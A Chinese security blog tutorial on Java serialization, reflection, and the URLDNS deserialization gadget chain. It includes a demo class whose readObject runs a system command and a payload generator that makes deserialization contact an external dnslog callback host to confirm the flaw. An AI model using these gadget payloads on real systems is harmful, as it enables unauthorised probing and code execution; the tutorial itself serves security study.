【JAVA反序列化】序列化与反序列化&Java反射&URLDNS链

今天是几号

发布于 2024-07-18 15:45:35

780

发布于 2024-07-18 15:45:35

文章被收录于专栏：Cyber Security

原生序列化与反序列化

序列化：JAVA对象转换成字节序列的过程；将数据分解为字节流，以便存储在文件中或在网络上传输；用一个字节序列表示一个对象，该字节包含对象的数据、对象的类型、对象的存储属性。字节序列写出到文件后，相当于可以持久保存了一个对象信息，这过程叫做序列化。序列化对象会通过ObjectOutputStream的writeObject方法将一个对象写入到文件中。序列化对象会通过ObjectOutputStream的writeObject方法将一个对象写入到文件中
反序列化：字节序列恢复成JAVA对象的过程；打开字节流并重构对象，反序列化是使用了readObject 方法进行读取并还原成在序列化前的一个类

概述

为什么需要序列化和反序列化？

当两个进程进行远程通讯时需要Java序列化与反序列化(可以相互发送各种数据，包括文本、图片、音频、视频等)
发送方需要把这个Java对象转换成字节序列(二进制序列的形式)，然后在网络上传送，另一方面，接收方需要从字节序列中恢复出Java对象

应用场景(涉及到将对象转换成二进制，序列化保证了能够成功读取到保存的对象)

想把内存中的对象保存到一个文件中或者数据库中时候
想用套接字在网络上传送对象的时候
想通过RMI传送对象的时候

涉及的协议

XML&SOAP：XMl是一种常用的序列化与反序列化协议，具有跨机器、跨语言等优点，SOAP(Simple Object Access Protocol)是一种被广泛应用的，基于XML为序列化和反序列化的结构化消息传递协议
JSON(JavaScript Object Notation)
Protobuf：Protobuf是Google开发的一种二进制序列化协议。它使用结构化的消息定义语言来定义数据结构，并提供了高效的序列化和反序列化功能。Protobuf通常用于高性能和高效的数据传输，适用于大规模的数据交换和存储

好处

实现数据的持久化，通过序列化可以吧数据永久地保存到硬盘上(通常存放在文件里)
利用序列化实现远程通信，即在网络上传送对象的字节序列

只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列

为什么会产生反序列化漏洞？

只要服务的反序列化数据，客户端传递类的readObject中的戴拿会自动执行，给予攻击者在服务器上运行代码的能力

可能反序列化的形式？

入口类的readObject直接调用危险方法
入口类参数中包含可控类，该类有危险方法readObject师调用
入口类参数中包含可控类，该类有调用其他有危险方法的类，readObject时调用
构造函数/静态代码块等类加载时隐式执行

共同条件

入口类 source(重新readObject 调用常见函数参数类型宽泛最后jdk自带)
调用链 gadget chain 相同名称相同类型
执行类sink (rce ssrf写文件等等)

代码演示

定义常规Person类需要实现Serializable接口(空接口无抽象方法用于标记类型，表示Person对象属于特定的类型或具有特定的特征(可序列化的类))

Person类中含有执行系统命令的方法

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

这里模拟类恶意反序列化对象：假如反序列化的数据是可控的该方法在反序列化过程中被调用，并且假设使用了默认的反序列化逻辑 ois.defaultReadObject()。然后，它使用 Runtime.getRuntime().exec(“calc”) 执行了一个命令

对Person对象进行序列化处理

public class serialize{
    public static void serializeTest(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));	//创建一个 ObjectOutputStream 对象 oos，接受一个 FileOutputStream 对象作为参数，用于指定序列化数据的输出文件。
        oos.writeObject(obj);	//调用 oos.writeObject(obj) 方法，将传入的对象 obj 进行序列化，并将序列化后的数据写入到文件中。
    }
    public static void main(String[] args) throws IOException {
        Person person = new Person("admin",21);
        System.out.println(person);
        serializeTest(person);
    }
}

Person{username=‘admin’, age=21}是序列化前的Person对象输出

对Person对象进行反序列化

public class unserialize {
    public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));//创建一个 ObjectInputStream 对象 ois，接受一个 FileInputStream 对象作为参数，用于指定从文件中读取序列化数据。
        Object obj = ois.readObject();//调用 ois.readObject() 方法，从文件中读取序列化的对象，并将其赋值给 Object 类型的变量 obj
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person person = (Person)unserializeTest("ser.bin");
        System.out.println(person);
    }
}

反序列化后执行系统命令

Java反射

是指在运行时去获取一个类的变量和方法信息。然后通过获取到的信息来创建对象，调用方法的一种机制。由于这种动态性，可以极大的增强程序的灵活性，程序不用在编译期就完成确定，在运行期仍然可以扩展让java具有动态性修改已有对象的属性动态生成对象动态调用方法操作内部类和私有方法

在反序列化漏洞中的应用

定制需要的对象
通过invoke调用除了同名函数之外的函数
通过Class类创建对象，引入不能序列化的类

基础补充

获取Class类对象的三种方式

//调用对象的getClass()方法，返回该对象所属类对应的Class对象
//使用Class类中的静态方法forName(String className)
//使用类的class属性来获取该类对应的Class对象
        Person person = new Person();
        //反射就是操作Class
        Class<? extends Person> c = person.getClass();	//对象名.getClass()方法
        Class<?> c1 = Class.forName("top.whgojp.domain.Person"); //Class.forName(全类名)方法
        Class<Person> c2 = Person.class;	//类名.class属性

Class类获取构造方法对象的方法

方法名	说明
Constructor<?>[] getConstructors()	返回所有公共构造方法对象的数组
Constructor<?>[] getDeclaredConstructors()	返回所有构造方法对象的数组
Constructor getConstructor(Class<?>… parameterTypes)	返回单个公共构造方法对象
Constructor getDeclaredConstructor(Class<?>… parameterTypes)	返回单个构造方法对象

Constructor类用于创建对象的方法

方法名	说明
T newInstance(Object…initargs)	根据指定的构造方法创建对象

Class类获取成员变量对象的方法

方法名	说明
Field[] getFields()	返回所有公共成员变量对象的数组
Field[] getDeclaredFields()	返回所有成员变量对象的数组
Field getField(String name)	返回单个公共成员变量对象
Field getDeclaredField(String name)	返回单个成员变量对象

Field类用于给成员变量赋值的方法

方法名	说明
voidset(Object obj,Object value)	给obj对象的成员变量赋值为value

Class类获取成员方法对象的方法

方法名	说明
Method[] getMethods()	返回所有公共成员方法对象的数组，包括继承的
Method[] getDeclaredMethods()	返回所有成员方法对象的数组，不包括继承的
Method getMethod(String name, Class<?>… parameterTypes)	返回单个公共成员方法对象
Method getDeclaredMethod(String name, Class<?>… parameterTypes)	返回单个成员方法对象

Method类用于执行方法的方法

方法名	说明
Objectinvoke(Object obj,Object… args)	调用obj对象的成员方法，参数是args,返回值是Object类型

代码演示

    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchFieldException {
//        Person person = new Person();
        //反射就是操作Class
        Class<Person> c2 = Person.class;

        //从原型class里面实例化对象
        Constructor<? extends Person> personconstructor = c2.getConstructor(String.class, int.class);
        Person p = (Person) personconstructor.newInstance("admin",22);
        System.out.println(p);
        //获取类里面属性
        Field agefield = c2.getDeclaredField("age");
        agefield.setAccessible(true);
        agefield.set(p,33);
        System.out.println(p);
        Field usernamefield = c2.getField("username");
        usernamefield.set(p,"whgojp");
        System.out.println(p);
        //调用类里面的方法
        System.out.println("---------------");
        Method test1 = c2.getMethod("test1");
        System.out.println(test1);  //共有方法 无参

        Method test2 = c2.getDeclaredMethod("test2",String.class);
        test2.setAccessible(true);
        test2.invoke(p,"whgojp");
        System.out.println(test2);  //私有方法 并传参
    }

URLDNS链

URLDNS链的利用效果是只能触发一次dns请求，而不能去执行命令。适用于漏洞验证，而且URLDNS这条利用链并不依赖于第三方的类，而是JDK中内置的一些类和方法。在一些漏洞利用没有回显的时候，我们也可以使用到该链来验证漏洞是否存在

原理

java.util.HashMap实现了Serializable接口，重写了readObject, 在反序列化时会调用hash函数计算key的hashCode，而java.net.URL的hashCode在计算时会调用getHostAddress来解析域名, 从而发出DNS请求

序列化原生代码

public class serialize {
    public static void serializeTest(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        //raw 未修改hashCode值，序列化过程中也会触发dnslog请求
/*       URL url = new URL("http://URLDNStest.r8hzba.dnslog.cn");
        hashMap.put(url, 1);*/

        //将url对象的hashcode改为不是-1
        HashMap<URL, Integer> hashMap = new HashMap<>();
        URL url = new URL("http://test.n4p7aw.dnslog.cn");
        Class<? extends URL> c = url.getClass();
        Field hashCodeField = c.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url, 1234);
        hashMap.put(url, 1);

        //通过反射，改变URL对象属性 hashCode=-1
        hashCodeField.set(url,-1);

        serializeTest(hashMap);
    }
}

实际上正常在序列化过程中，传入dnslog地址也会有数据回显，因为在序列化过程中同时也调用了hashCode(hashCode传入初始值为-1，也会触发dnslog。图中注释部分与前面讲的JAVA反射技术就是为了动态修改url.Class类中初始hashCode的值，使其不为-1，以避免在探测漏洞时产生误报)

反序列化原生代码

由于pom依赖问题，ysoserial未调试成功 emmm…… 这里使用的是最原生的反序列化方法

public class unserialize {
    public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        System.out.println(obj);
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        unserializeTest("ser.bin");
    }
}

得到序列化对象之后，预期效果是反序列化触发dns请求，用于验证漏洞存在序列化工具链

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

反序列化中hashCode为-1

调用getHostAddress、getHost等网络协议触发dnslog请求

URLDNS链

HashMap.readObject() ->  HashMap.putVal() -> HashMap.hash() 
-> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName